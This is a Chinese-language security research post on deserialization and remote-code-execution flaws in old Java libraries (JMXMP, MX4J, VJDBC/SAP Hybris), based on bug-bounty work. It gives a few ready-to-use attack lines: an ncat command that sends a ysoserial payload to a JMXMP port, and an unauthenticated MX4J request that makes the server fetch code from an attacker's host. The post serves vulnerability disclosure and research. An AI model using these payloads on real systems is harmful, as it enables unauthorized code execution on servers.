Old Java Libraries 漏洞
Java以其向后兼容而聞名。只要使用適當版本的Java,您仍然可以執行多年以前編寫的代碼。多虧了這一特性,現代項目使用了大量在生產中經過“時間測試”的庫。但是,此類庫通常在很長一段時間內都不受維護者支持。結果,當您發現庫中的漏洞時,您可能會發現很難報告問題并警告使用該庫的開發人員。
以下是一些與舊庫有關的問題的示例,我最近在利用漏洞作為各種錯誤賞金計劃的一部分時遇到了這些問題。
JMX和JMXMP
JMX(Java管理擴展)是一種用于監視和管理Java應用程序的著名且廣泛使用的技術。自從Java反序列化“apocalypse”以來,對于安全專家來說,它是眾所周知的。JMX使用RMI協議進行傳輸,這使得它天生就容易受到Java反序列化攻擊。但是,Oracle引入了規范JEP-290(JDK≥8u121,≥7u131,≥6u141),這使此類攻擊變得更加困難。
事實證明,根據JMX規范(JSR-160),JMX還支持其他傳輸協議(稱為連接器),包括專門為JMX創建的JMX消息傳遞協議(JMXMP)。但是,該協議未包含在Java SE中,因此從未普及。與RMI相比,JMXMP的主要優點之一是JMXMP只需要一個TCP端口(RMI使用一個靜態端口作為RMI注冊表,而另一個動態選擇的端口用于與客戶端的實際交互)。當您需要使用防火墻限制訪問或要設置端口轉發時,此事實使JMXMP更加方便。
盡管實現JMXMP的庫(jmxremote_optional.jar,opendmk_jmxremote_optional_jar-1.0-b01-ea.jar)至少有十年沒有更新,但JMXMP仍然存在,并不時地被使用。例如,在Kubernetes環境中使用了JMXMP,最近在Elassandra中添加了對JMXMP的支持。
JMXMP的問題在于該協議完全依賴Java序列化進行數據傳輸。同時,針對JMX / RMI漏洞的Oracle補丁沒有覆蓋JMXMP,這使其易于受到Java反序列化攻擊的影響。要利用此漏洞,您甚至無需了解協議或數據格式,只需將來自ysoserial的序列化有效負載直接發送到JMXMP端口即可:
ncat target.server.com 11099 < test.jser
如果您無法利用此Java反序列化漏洞(由于應用程序類路徑中缺少小工具),您仍然可以使用其他方法,例如上載MBean或濫用現有MBean方法。為了連接到這樣的JMX,您需要下載必要的軟件包,將其添加到類路徑中,并使用以下格式指定JMX端點:service:jmx:jmxmp://target.server.com:port /。
例如:
jconsole -J-Djava.class.path="%JAVA_HOME%/lib/jconsole.jar";"%JAVA_HOME%/lib/opendmk_jmxremote_optional_jar-1.0-b01-ea.jar" service:jmx:jmxmp://target.server.com:port/
您也可以使用MJET,但是它需要對代碼進行類似的更改。
MX4J
MX4J是JMX的開源實現。它還提供了一個HTTP適配器,該適配器通過HTTP公開JMX(它作為servlet)。MX4J的問題是默認情況下它不提供身份驗證。為了利用它,我們可以使用MLet部署自定義MBean(上傳并執行代碼)。要上傳有效負載,可以使用MJET。要強制MX4J獲取MBean,您需要發送GET請求至:
/invoke?objectname=DefaultDomain:type=MLet&operation=getMBeansFromURL&type0=java.lang.String&value0=http://yourserver/with/mlet
MX4J尚未更新15年,但已被Cassandra等軟件使用(非默認配置)。您現在的“homework”是要更深入地研究并搜索漏洞。請注意,使用Hessian和Burap協議作為JMX連接器,它們在默認配置中也容易受到反序列化攻擊。
VJDBC
虛擬JDBC是一個舊庫,可通過其他協議(HTTP,RMI)使用JDBC提供對數據庫的訪問。在使用HTTP的情況下,它提供了一個Servlet,您可以使用該Servlet發送包含SQL查詢的特殊HTTP請求,并從Web應用程序使用的DB接收結果。不幸的是,VJDBC還使用Java序列化(通過HTTP)與Servlet進行交互。
如果使用Google搜索該詞,則幾乎所有搜索結果都與SAP Hybris相關。SAP Hybris是許多大型企業使用的主要電子商務/ CRM平臺。默認情況下,SAP Hybris公開vjdbc-servlet易受Java反序列化(CVE-2019-0344)引起的RCE的影響(并且在過去也存在其他嚴重的安全問題)。此漏洞的測試已于2019年9月添加到Acunetix 。不幸的是,SAP似乎僅修復了其內部版本的VJDBC,因此依賴于該庫的所有其他軟件都容易受到攻擊,其創建者可能未意識到該問題。